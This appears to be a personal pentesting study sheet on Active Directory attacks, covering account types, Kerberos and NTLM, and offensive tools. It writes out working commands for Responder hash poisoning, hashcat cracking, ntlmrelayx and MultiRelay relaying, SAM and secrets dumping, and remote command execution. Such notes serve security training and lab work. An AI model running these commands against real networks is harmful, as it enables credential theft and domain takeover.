AD Overview and tools.
To gain control over a domain:
Compromise member of Domain Admin group.
Compromise domain controller -> can modify all domain-joined computers or execute applications on them.
AD: depends on DNS server, typical DC hosts DNS server that is authoritative for a given domain.
Account types: domain admins, service accounts (can be domain admins), local admins (can't access the DC), domain users.
Authentication mechanisms: Kerberos (uses ticket granting tickets and services to authenticate users) or NTLM (traditional Windows authentication).
Kerberos: default authentication service that uses ticket-granting tickets and service tickets to authenticate users and give users access to other resources across the domain. Intended to be more secure than NTLM (uses 3rd party ticket authorization and stronger encryption).
PayloadAllTheThings - Most Common Paths to AD Compromise
Pentest AD Mindmap
Typical AD pen test:
- Exploit host on domain and gain access as a domain user
- Enumerate domain users and groups.
- Privilege escalate or move laterally.
- Get Domain Admin or Service Account access and onto the domain controller.
Common Ways to Get AD Creds:
- NTLM Authenticated Services
- LDAP Bind Credentials
- Authentication Relays
- Microsoft Deployment Toolkit
- Configuration Files
AD Cheat Sheet
AD Lateral Movement and Persistence Cheatsheet
AD Cheat sheet
Pentesting AD CheatSheet
Integratio IT Cheat Sheet
%SYSTEMROOT%\System32\ntds.dit #AD database with user password hashes
%SYSTEMROOT%\NTDS\ntds.dit #AD backup
C2 Frameworks:
PowerShell Empire, Covenant
evil-winrm: access Windows RM, TCP port 5985 or 5986 open.
Responder
Crackmapexec
BloodHound, SharpHound
Rubeus
Powerview
Mimikatz, Mimikatz Cheatsheet
Impacket: collection on Python classes for working with network protocols.
Can be finicky - you may need to uninstall / reinstall when updating if the default Kali Impacket library is being used.
#if not properly installed
apt install impacket-scripts
/usr/share/doc/python3-impacket/examples
If running inside a lab network:
Use Impacket static binaries or binaries here, compile your own or manually install
#manual install (recommend trying to compile a binary before doing this)
upload Impacket files to target and run install script
sudo python3 setup.py install
Not allowed on the OSCP exam, but a common pen testing tool.
Allows you to spoof various services then capture hashes from devices that try to authenticate to those.
Common use: poison responses during NetNTLM authentication to capture credentials. Might be able to relay the challenge instead of just capturing it (if SMB signing is not enforced). Ref: https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
Install:
git clone https://github.com/lgandx/Responder
Responder Usage:
Config file: edit responder.conf to disable SMB / HTTP servers, change RespondTo arguement to target a specific host
Past sessions are logged to Responder/logs
sudo responder.py -I eth0 #start on specified interface. Hashes will be captured when a device tries to authenticate to resources on the network.
sudo responder.py -I eth0 -A #analyze / listen mode, no active poisoning
You might be able to use a LFI vulnerability to request a resource and capture a hash using Responder. Ex - http://site.com/?page=//10.10.14.25/somefile
Captured hashes will be stored in the logs folder, in a .txt file named for the protocol hash type and IP captured from.
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response #NTLMv2 Responder capture format
john hashes.txt #John the Ripper will automatically detect the format of hashes collected by Responder.
hashcat -m 5500 #NTLMv1 (hashes captured from using a tool like Responder)
hashcat -m 5600 #NTLMv2 (hashes captured from using a tool like Responder)
Use NTLMRelay or MultiRelay to relay the credentials to any SMB server which has SMB signing disabled (can't relay the creds back to the source computer unless you are relaying them to a different service). Windows workstations have SMB signing disabled by default.
byt3bl33d3r Guide to NTLM Relaying
Recon: RunFinger.py or Crackmapexec to identify hosts, OS and SMB info. Check if SMB signing is not enabled and you can perform a relay attack:
/opt/Responder/tools $ python3 RunFinger.py -i 172.16.1.1/24
crackmapexec smb --gen-relay-list smb_targets.txt 192.168.1.0/24
NTLMRelay - Impacket Script
You might need to disable the SMB or HTTP servers used by Responder to avoid conflicts.
Usage:
sudo python3 ntlmrelayx.py -tf targets -smb2support
sudo python3 ntlmrelayx.py -socks -smb2support -tf smb_targets.txt
Perform a SAM dump using NTLMRelay
python3 ntlmrelayx.py -of hashes -tf targets.txt -smb2support
# then run Responder with SMB / HTTP off
sudo python3 Responder.py -I eth0 -dwv
Proxychain SMB Connections - allows you to use captured creds with other Impacket scripts
python3 ntlmrelayx.py -tf targets.txt -smb2support -socks
#Config Proxychains
sudo proxychains secretdump.py -no-pass <domain>/<user>@<host_ip> #used captured creds over the Proxy
MultiRelay - Built into the Responder Toolkit
Requirements:
Pycryptdome
sudo apt-get -y install python3-pip gcc-mingw-w64-x86-64 python-crypto screen
sudo pip3 install pycryptodomex
cd Responder/tools/
x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode
Compile MultiRelay yourself using Pyinstaller and force PyCrypto to be included:
pyinstaller MultiRelay.py --hiddenimport=pycryptodomex --onefile
Usage:
/opt/Responder/tools $ python3 MultiRelay.py -t 172.16.1.5 -u ALL -d #Relay auth requests for all users, dump local account hashes
/opt/Responder/tools $ python3 MultiRelay.py -t 10.10.10.10 -c "whoami" #exec a command
#can spawn a Meterpreter shell using exploit/multi/script/web_delivery using a PowerShell IEX command